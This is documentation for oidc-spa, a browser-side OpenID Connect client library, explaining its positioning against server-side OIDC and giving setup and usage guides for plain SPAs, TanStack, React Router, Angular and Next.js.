# What This Is

{% hint style="info" %}
Stuck? Reach out on [Discord](https://discord.gg/mJdYJSdcm4). We’ll help you debug it.
{% endhint %}

oidc-spa is an OpenID Connect client for browser-first web apps. It implements the [Authorization Code Flow with PKCE](/resources/why-no-client-secret) and supports [DPoP](/security-features/dpop). It also ships [token validation utilities for JavaScript backends](/integration-guides/backend-token-validation).

It includes [security defenses](/security-features/overview) to reduce token exposure risks in the browser.

It’s one [dependency-free](https://npmgraph.js.org/?q=oidc-spa) library for the full stack. It can replace frontend SDKs like `keycloak-js`, `MSAL.js`, or `@auth0/auth0-spa-js`. It can also replace backend token tooling like `jsonwebtoken`, `jose`, or `express-jwt`.

**Why we built it**

Most OIDC client libraries handle the basic sign-in flow well. But they leave you to implement:

* Token renewal, and what happens on expiry.
* Idle timeout UX. Auto-logout and re-auth prompts.
* Login/logout sync across tabs.
* Reliable session restore on reload, including third‑party cookie blocks.
* Provider quirks. Keycloak, Entra ID, and Auth0 differ in practice.

We also wanted a TanStack-style developer experience:

* Types flowing from config into the runtime API.
* APIs that are hard to misuse.
* Mockable OIDC for tests and “no-auth” / degraded environments.

So we built `oidc-spa`. It’s opinionated and high-level. It has few knobs by design.

It gives you enterprise-grade auth out of the box. So you can focus on your app.

## Dive In

Ready to integrate? Start here.

{% content-ref url="/pages/R7XmICYloT6lht1r5tZK" %}
[Getting Started](/integration-guides/example-setups)
{% endcontent-ref %}

## Positioning

Here’s where oidc-spa sits compared to server-side OIDC:

<table><thead><tr><th width="172.53125"></th><th>Browser-Side OIDC</th><th>Server-Side OIDC</th></tr></thead><tbody><tr><td><strong>Implementation</strong></td><td><strong><code>oidc-spa</code></strong>, <code>keycloak-js</code>, <code>angular-oauth2-oidc</code>, <code>react-oidc-context</code>, <code>@auth0/auth0-spa-js</code>, <code>@azure/msal-browser</code>, <code>@axa-fr/oidc-client</code>, <code>oidc-client-ts</code> (without client secret)</td><td><a href="https://nuxtoidc.cloud/"><code>nuxt-oidc-auth</code></a>, <code>oidc-client-ts</code> (with client secret), <code>NextAuth</code>/<code>Auth.js</code>/<code>BetterAuth</code> (often “roll your own auth” frameworks that can broker OIDC providers)</td></tr><tr><td><strong>OIDC Model</strong></td><td>The frontend is the OIDC client. Your backend API is an OAuth resource server. The frontend calls the API with an access token. <a data-footnote-ref href="#user-content-fn-1">The API can validate the token signature and resolve identity offline</a>.</td><td>The backend is the OIDC client. User identity is tracked with session cookies. In this model, there is usually no OAuth resource server. Access tokens are mainly used for calling third-party APIs.</td></tr><tr><td><strong>Infrastructure Requirement</strong></td><td><mark style="color:$success;">None. The browser talks directly to the authorization server.</mark></td><td><mark style="color:$warning;">Requires a stateful backend and a shared session store (e.g. Redis).</mark></td></tr><tr><td><strong>Setup</strong></td><td><mark style="color:$success;">Simple. Auth is decoupled from your app framework, router, and API.</mark></td><td><mark style="color:$warning;">Tightly coupled to a framework. You typically build login/logout routes and middleware.</mark></td></tr><tr><td><strong>Security</strong></td><td><mark style="color:$warning;">Historically weaker because tokens exist in the browser.</mark><br><mark style="color:$success;">With DPoP and modern defenses, the security gap can shrink significantly.</mark> <a href="/pages/U7NXkYENwaWcbAO6iQDb"><mark style="color:$success;">See details</mark></a><mark style="color:$success;">.</mark></td><td><mark style="color:$success;">Secure by design. Tokens are not exposed to frontend code.</mark></td></tr><tr><td><strong>Server-side rendering</strong></td><td><mark style="color:$warning;">Limited. The server renders without user context. Auth-aware UI renders on the client.</mark> <a href="https://example-tanstack-start.oidc-spa.dev/"><mark style="color:$warning;">See in practice</mark></a><mark style="color:$warning;">.</mark></td><td><mark style="color:$success;">Seamless. The server knows who the user is during render.</mark><br><a data-footnote-ref href="#user-content-fn-2"><mark style="color:$warning;">However, it comes with performance implications if not finely tuned.</mark></a></td></tr><tr><td><strong>Support</strong></td><td><mark style="color:$success;">Keycloak, Microsoft Entra ID, Auth0, Ory Hydra, and most well-established platforms/systems support public OIDC clients seamlessly.</mark><br><mark style="color:$warning;">Other providers like</mark> <a data-footnote-ref href="#user-content-fn-3"><mark style="color:$warning;">Clerk</mark></a><mark style="color:$warning;">, WorkOS, or Dex still don't</mark> <a data-footnote-ref href="#user-content-fn-4"><mark style="color:$warning;">fully support public clients</mark></a><mark style="color:$warning;">.</mark></td><td><mark style="color:$success;">Supporting the Authorization Code flow with a client secret is the baseline expectation for every OIDC provider.</mark><br></td></tr></tbody></table>

## Is it a good fit for my stack?

It depends. oidc-spa is strong for client-side OIDC. But client-side OIDC isn’t the right model for every app.

### When NOT to use oidc-spa

Avoid oidc-spa if you rely on SSR for auth-aware pages.

So typically, meta framorks like: Next.js, Nuxt, SvelteKit, Remix/React Router Framework (non‑SPA mode), or Astro are NOT good phylospical matches for oidc-spa.\
\
It works though, there is an example starter for Nuxt and Next.js but chosing to use oidc-spa in those setup pretty much downgrade the app to an SPA.\
\
Those stacks push state and logic to the server. They also aim to ship minimal client JavaScript.

oidc-spa drives auth from the browser. That’s a mismatch for SSR-first architectures.

### When you should use it

Use it for client-first apps. It works best when state and logic live in the browser.

Typically:

* Vite + React (or another UI framework) - SPAs
* TanStack Start (SSR works, but auth-aware UI renders client-side. [See in practice](https://example-tanstack-start.oidc-spa.dev/))
* Angular applications
* Nuxt with `ssr: false`
* React Router Framework with `ssr: false`

If you’re choosing between this and a BFF for security, start with the [security features](/security-features/overview). With those defenses enabled, the security profile can be comparable to server-side OIDC.

[^1]: Or call the introspecition endpoint.

[^2]: In typical demo setups, you'll have middleware that resolves the user's identity against a Redis database before starting SSR.\
    This significantly increases the delay before the user receives the page.\
    In practice, large enterprise dashboards like Vercel send a skeleton, resolve identity, then stream the authed components.

[^3]: They are actively working on it and making good progress.

[^4]: Some claim they do but it does not always work in practice.


# Getting Started

Let's get your app authenticated!

<table data-view="cards"><thead><tr><th data-type="content-ref"></th><th></th><th data-hidden data-card-cover data-type="image">Cover image</th></tr></thead><tbody><tr><td><a href="/pages/4DwF1XPwmeeluLK1EN7m">/pages/4DwF1XPwmeeluLK1EN7m</a></td><td>If you are NOT using React or Angular.</td><td data-object-fit="fill"><a href="https://upload.wikimedia.org/wikipedia/commons/f/f1/Vitejs-logo.svg">https://upload.wikimedia.org/wikipedia/commons/f/f1/Vitejs-logo.svg</a></td></tr><tr><td><a href="/pages/91pQIM8gQci1OGg7Ool5">/pages/91pQIM8gQci1OGg7Ool5</a></td><td>If you are using TanStack Router as a library or TanStack Start.</td><td data-object-fit="contain"><a href="https://tanstack.com/images/logos/logo-color-600.png">https://tanstack.com/images/logos/logo-color-600.png</a></td></tr><tr><td><a href="/pages/Gemwcbm0G6uqPI4c1liz">/pages/Gemwcbm0G6uqPI4c1liz</a></td><td>If you are using React Router as a library or as a framework.</td><td data-object-fit="contain"><a href="https://reactrouter.com/splash/hero-3d-logo.dark.webp">https://reactrouter.com/splash/hero-3d-logo.dark.webp</a></td></tr><tr><td><a href="/pages/QgaTjU1tbbDm1MI8Edkm">/pages/QgaTjU1tbbDm1MI8Edkm</a></td><td></td><td><a href="/files/ScDd2YZ8WqeJ3ee4j6Qt">/files/ScDd2YZ8WqeJ3ee4j6Qt</a></td></tr><tr><td><a href="/pages/nB5sXXe1XjHQImOClLSU">/pages/nB5sXXe1XjHQImOClLSU</a></td><td></td><td data-object-fit="contain"><a href="https://assets.vercel.com/image/upload/v1662130559/nextjs/Icon_dark_background.png">https://assets.vercel.com/image/upload/v1662130559/nextjs/Icon_dark_background.png</a></td></tr><tr><td><a href="/pages/I1BVXgK0Ze4V5L9VMLJs">/pages/I1BVXgK0Ze4V5L9VMLJs</a></td><td></td><td data-object-fit="contain"><a href="https://nuxt.com/assets/design-kit/icon-green.svg">https://nuxt.com/assets/design-kit/icon-green.svg</a></td></tr><tr><td><a href="/pages/yolKsccF0yDQcZTXQnPo">/pages/yolKsccF0yDQcZTXQnPo</a></td><td></td><td><a href="/files/p8hdSWdzxbJa83lO4K8a">/files/p8hdSWdzxbJa83lO4K8a</a></td></tr></tbody></table>


# Framework Agnostic Adapter

These are the instructions for setting up the framework-agnostic adapter for oidc-spa in a Single Page Application (SPA). These apps run entirely in the browser.

If your project uses Server-Side Rendering (SSR), this setup may not work. Don’t hesitate to [reach out on Discord](https://discord.gg/mJdYJSdcm4). We’re happy to help with your specific stack.

## Installation

{% stepper %}
{% step %}

### Installing the dependencies

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides.
> {% endstep %}

{% step %}

### Global Setup

Pick one of these three options:

{% tabs %}
{% tab title="Vite Plugin" %}
If you're in a Vite project, the recomended approach is to use oidc-spa's Vite plugin.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa()
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project and
* Your app has a single client entrypoint.

***

Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/" // The path where your app is hosted
                  // If applicable you should use `process.env.PUBLIC_URL`
                  // or `import.meta.env.BASE_URL`.
                  // This is not an option. There's only one good answer.
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the same module where you call `createOidc()`.

Note however that implementing this option [dowgrade the security posture of your app](/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches and, in some instances, might conflict with your client side routing library.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript">import { 
<strong>   oidcEarlyInit, 
</strong>   createOidc 
} from "oidc-spa/core";

// Should run as early as possible.  
<strong>oidcEarlyInit({ 
</strong><strong>   BASE_URL: "/" // The path where your app is hosted
</strong><strong>                 // If applicable you should use `process.env.PUBLIC_URL`
</strong><strong>                 // or `import.meta.env.BASE_URL`.
</strong><strong>                 // This is not an option. There's only one good answer.
</strong><strong>});
</strong>
const prOidc = createOidc({ /* ... See below ... */ });

export async function getOidc(){
   const oidc = await prOidc;
   return oidc;
}
</code></pre>

{% endtab %}
{% endtabs %}

You might also want to enable some of the opt-in security features:

{% content-ref url="/pages/9CHQX9V9dazRrd5n6par" %}
[Security Features](/security-features/overview)
{% endcontent-ref %}
{% endstep %}

{% step %}

### Initialize the adapter

This is just a suggestion. Feel free to adapt how you set things up.

{% code title="src/oidc.ts" %}

```typescript
import { createOidc } from "oidc-spa/core";

const prOidc = createOidc({
    // See: https://docs.oidc-spa.dev/v/v9/providers-configuration/provider-configuration
    issuerUri: "https://auth.your-domain.net/realms/myrealm",
    clientId: "myclient",

    //scopes: ["profile", "email", "api://my-app/access_as_user"],

    // OPTIONAL, Parameters added when redirecting to the authorization endpoint.
    extraQueryParams: {
        //audience: "https://my-app.my-company.com/api",
        get ui_locales() { return "en"; } // Keycloak login/register pages language
    },

    debugLogs: true,

    // See: https://docs.oidc-spa.dev/v/v9/features/auto-login
    // autoLogin: true

});

export async function getOidc(){
    const oidc = await prOidc;
    return oidc;
}
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Usage

Here is a quick usage overview.

```typescript
import { getOidc } from "~/oidc"; // The file you created in the previous step

(async () => {
    const oidc = await getOidc();

    // oidc-spa exports Keycloak-specific utilities:
    const { createKeycloakUtils, isKeycloak } = await import("oidc-spa/keycloak");

    const keycloakUtils = isKeycloak({ issuerUri: oidc.issuerUri })
        ? createKeycloakUtils({ issuerUri: oidc.issuerUri })
        : undefined;

    // In oidc-spa the user is either logged in or they aren't.
    // The state will never mutate without a full app reload.
    if (oidc.isUserLoggedIn) {
        // The user is logged in.

        const {
            // The accessToken is what you'll use as a Bearer token to
            // authenticate to your APIs
            accessToken
        } = await oidc.getTokens();

        // oidc-spa also provides utilities to build API clients like this.
        fetch("https://api.your-domain.net/orders", {
            headers: {
                Authorization: `Bearer ${accessToken}`
            }
        })
            .then(response => response.json())
            .then(orders => console.log(orders));

        // Call when the user clicks logout.
        // You can also redirect to a custom URL with:
        // { redirectTo: "specific URL", url: "/bye" }
        oidc.logout({ redirectTo: "home" });

        // NOTE: We recomend implementing the user abstraction
        // over reading directly the ID token.
        // See: https://docs.oidc-spa.dev/v/v9/features/user
        const decodedIdToken = oidc.getDecodedIdToken();

        console.log(`Hello ${decodedIdToken.preferred_username}`);

        if (keycloakUtils) {
            // Get a link to the account page:
            const userAccountUrl = keycloakUtils.getAccountUrl({
                clientId: oidc.clientId,
                validRedirectUri: oidc.validRedirectUri,
                locale: "en" // Optional
            });
        }
    } else {
        // The user is not logged in.

        // We can call login() to redirect the user to the login/register page.
        // This returns a promise that never resolves.
        oidc.login({
            /**
             * If you are calling login() in the callback of a click event
             * set this to false.
             * If you are calling this because the user has navigated to
             * a route that requires them to be logged in, set this to true.
             */
            doesCurrentHrefRequiresAuth: false,
            /**
             * Optionally, you can add extra parameters
             * to be added to the authorization endpoint.
             */
            //extraQueryParams: { kc_idp_hint: "google", ui_locales: "fr" }
            /**
             * You can also set where to redirect the user after
             * successful login but by default it's the current URL
             * which is usually what you want.
             */
            // redirectUrl: "/dashboard"
        });

        // Register button callback (Keycloak only)
        if (keycloakUtils) {
            oidc.login({
                doesCurrentHrefRequiresAuth: false,
                transformUrlBeforeRedirect: keycloakUtils.transformUrlBeforeRedirectForRegister
            });
        }
    }
})();
```

## Mock adapter

For certain use cases, you may want a mock adapter to simulate user authentication without involving an actual authentication server.

This approach is useful when building an app where user authentication is a feature but not a requirement. It also proves beneficial for running tests or in Storybook environments.

<pre class="language-typescript"><code class="lang-typescript">import { createOidc } from "oidc-spa/core";
<strong>import { createMockOidc } from "oidc-spa/core-mock";
</strong>// Optional, see: https://docs.oidc-spa.dev/v/v9/features/user
import { createUser, user_mock } from "./oidc.user";

const autoLogin = false;

const prOidc = !import.meta.env.VITE_OIDC_ISSUER
<strong>    ? createMockOidc({
</strong><strong>          // NOTE: If autoLogin is set to true this option must be removed
</strong><strong>          isUserInitiallyLoggedIn: false,
</strong><strong>          // Optional: 
</strong><strong>          mockedParams: {
</strong><strong>              issuerUri: "https://auth.my-company.com/realms/myrealm",
</strong><strong>              clientId: "myclient"
</strong><strong>          },
</strong><strong>          mockedUser: user_mock,
</strong><strong>          autoLogin
</strong><strong>      })
</strong>    : createOidc({
          issuerUri: import.meta.env.VITE_OIDC_ISSUER,
          clientId: import.meta.env.VITE_OIDC_CLIENT_ID,
          createUser,
          autoLogin
      });
</code></pre>

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/integration-guides/backend-token-validation)
{% endcontent-ref %}


# TanStack Router/Start

TanStack Start is TanStack Router plus server capabilities. It’s a full-stack framework. Your frontend and backend live in the same project. It’s comparable to Next.js.

{% content-ref url="/pages/d1qbPv2oiUEBc6J3j5sN" %}
[TanStack Start](/integration-guides/tanstack-router-start/tanstack-start)
{% endcontent-ref %}

***

TanStack Router is the client-side routing library. It does not include server features. Used in single-page applications (SPAs). Your backend API stays in a separate project.

{% content-ref url="/pages/QUB3CQl6dhCDJw69LePi" %}
[TanStack Router](/integration-guides/tanstack-router-start/react-router)
{% endcontent-ref %}


# TanStack Start

## The Example/Tutorial

{% embed url="<https://example-tanstack-start.oidc-spa.dev/>" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/tanstack-start start-oidc
cd start-oidc
npm install
npm run dev

# By default, the example runs against Keycloak.
# You can edit the .env file to test other providers.
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/tanstack-start>" %}

***

## Instalations

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides.

***

Add the plugin to your `vite.config.ts`:

<pre class="language-typescript"><code class="lang-typescript">import { defineConfig } from "vite";
import { tanstackStart } from "@tanstack/react-start/plugin/vite";
import viteReact from "@vitejs/plugin-react";
import viteTsConfigPaths from "vite-tsconfig-paths";
import tailwindcss from "@tailwindcss/vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
  plugins: [
    viteTsConfigPaths({ projects: ["./tsconfig.json"] }),
    tailwindcss(),
    tanstackStart(),
<strong>    oidcSpa(),
</strong>    viteReact(),
  ],
});
</code></pre>

***

## Usage

You should be able to learn everything there is to know by checkout out [the example](/integration-guides/tanstack-router-start/tanstack-start)!\
You're journey will start by looking at `src/oidc.ts`.


# TanStack Router

## Instaling

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

{% tabs %}
{% tab title="Vite Plugin" %}
If you're in a Vite project, the recomended approach is to use oidc-spa's Vite plugin.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa()
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project and
* Your app has a single client entrypoint.

***

Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/" // The path where your app is hosted. You can also pass it later to createOidc().
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the `src/oidc.ts`.

Note however that implementing this option [dowgrades the security posture of your app](/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches, and, in some instances, might conflict with your client side routing library.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript"><strong>import { oidcEarlyInit, } from "oidc-spa/entrypoint";
</strong>import { oidcSpa } from "oidc-spa/react-spa";

// Should run as early as possible.  
<strong>oidcEarlyInit({ 
</strong><strong>   BASE_URL: "/" // The path where your app is hosted
</strong><strong>});
</strong>
export const { /* ... */ } = oidcSpa./*...*/
</code></pre>

{% endtab %}
{% endtabs %}

## Learning from the example

You're going to be cloning this example:

{% embed url="<https://example-tanstack-router.oidc-spa.dev/>" %}

TanStack Router has [two modes](https://tanstack.com/router/latest/docs/framework/react/quick-start#new-project-setup) pick the one for you:

{% tabs %}
{% tab title="File-Based Route Generation" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/tanstack-router-file-router tr-oidc
cd tr-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/tanstack-router-file-router>" %}
{% endtab %}

{% tab title="Code-Based Route Configuration" %}

> Comming Soon
> {% endtab %}
> {% endtabs %}

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/integration-guides/backend-token-validation)
{% endcontent-ref %}


# React Router

## Instaling

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

{% tabs %}
{% tab title="Vite Plugin" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the `src/oidc.ts`.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa()
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project and
* Your app has a single client entrypoint.

***

Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/" // The path where your app is hosted. You can also pass it later to createOidc().
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the same module where you call `createOidc()`.

Note however that implementing this option [dowgrades the security posture of your app](/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches, and, in some instances, might conflict with your client side routing library.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript"><strong>import { oidcEarlyInit, } from "oidc-spa/entrypoint";
</strong>import { oidcSpa } from "oidc-spa/react-spa";

<strong>// Should run as early as possible.  
</strong><strong>oidcEarlyInit({ 
</strong><strong>   BASE_URL: "/" // The path where your app is hosted
</strong><strong>});
</strong>
export const { /* ... */ } = oidcSpa./*...*/
</code></pre>

{% endtab %}
{% endtabs %}

## Learning from the example

You're going to be cloning this example:

{% embed url="<https://example-react-router-framework.oidc-spa.dev/>" %}

React Router v7 has [three modes](https://reactrouter.com/start/modes) pick the one for you:

{% tabs %}
{% tab title="Declarative Mode" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/react-router-declarative rr-declarative-oidc
cd rr-declarative-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/react-router-declarative>" %}
{% endtab %}

{% tab title="Data Mode" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/react-router-data rr-data-oidc
cd rr-data-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/react-router-data>" %}
{% endtab %}

{% tab title="Framework Mode" %}
{% hint style="warning" %}
The security features of `oidc-spa` are not fully effective with React Router Framework.

The security model relies on [hardening the environment before any code is evaluated](/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell). If that invariant does not hold, a supply chain attack can alter the JavaScript runtime before `oidc-spa` can secure it.

React Router Framework [does not expose a true client entrypoint](https://github.com/keycloakify/oidc-spa/issues/110#issuecomment-3499101635). There’s no workaround for this.

Bottom line: you can run React Router Framework in SPA mode and it will work, but `oidc-spa` cannot protect your tokens any more than other browser-side OIDC solutions. If security is a top priority, consider [migrating to TanStack](/integration-guides/tanstack-router-start).
{% endhint %}

### Enabling SPA mode

This is non optional. React Router Framework does not expose the primitives to enable solution like oidc-spa to provide a full stack story. (You may want to give [TanStack Start](https://tanstack.com/start/latest) a try)

<pre class="language-typescript" data-title="react-router.config.ts"><code class="lang-typescript">import type { Config } from "@react-router/dev/config";

export default {
<strong>    ssr: false
</strong>} satisfies Config;
</code></pre>

### The example

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/react-router-framework rr-framework-oidc
cd rr-framework-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/react-router-framework>" %}
{% endtab %}
{% endtabs %}

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/integration-guides/backend-token-validation)
{% endcontent-ref %}


# Angular

## Installation and Setup

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:** [Zod](https://zod.dev/) is optional but highly recommended (it's not used in the simple example, only in the advanced one) .\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

## Editing your entrypoint

To protect tokens against supply-chain attacks and XSS, oidc-spa must run some initialization code *before any other JavaScript in your app*.

This design provides much stronger security guarantees than any other adapter, and it also delivers unmatched login performance. More details [here](broken://pages/o7mf9sx2j3zFyddFEHST).

First rename your entry point file from `main.ts` to `main.lazy.ts`

```bash
mv src/main.tsx src/main.lazy.tsx
```

Then create a new `main.ts` file:

{% code title="main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit();

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}

***

## Basic Example

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/angular oidc-spa-angular
cd oidc-spa-angular
npm install
npm run start
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/angular>" %}

## Advanced example

Live here: [https://example-angular.oidc-spa.dev](https://example-angular.oidc-spa.dev/)

This setup show you how you can:

* Mock implementation of the adapter.
* Fetching the initialization parameter remotly.
* Protecting groupes based on roles.
* Validating the shape of the access token.
* Early rendering of public pages before oidc has finished initializing.

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/angular-kitchensink oidc-spa-angular-kitchensink
cd oidc-spa-angular-kitchensink
npm install
npm run start
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/angular-kitchensink>" %}

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/integration-guides/backend-token-validation)
{% endcontent-ref %}


# Next.js

Use oidc-spa in a Next.js App Router app.

## Before you start

{% hint style="warning" %}
Using `oidc-spa` in Next.js is easy and infra-light.

But it also changes the architecture.

Authentication happens in the browser. The server rendering your pages cannot know who the user is. That removes most SSR auth-at-render-time benefits and effectively pushes your app toward SPA behavior.

Use this setup only if you accept that trade-off.
{% endhint %}

## The example

{% embed url="<https://youtu.be/zkOWKeTZcYk>" %}
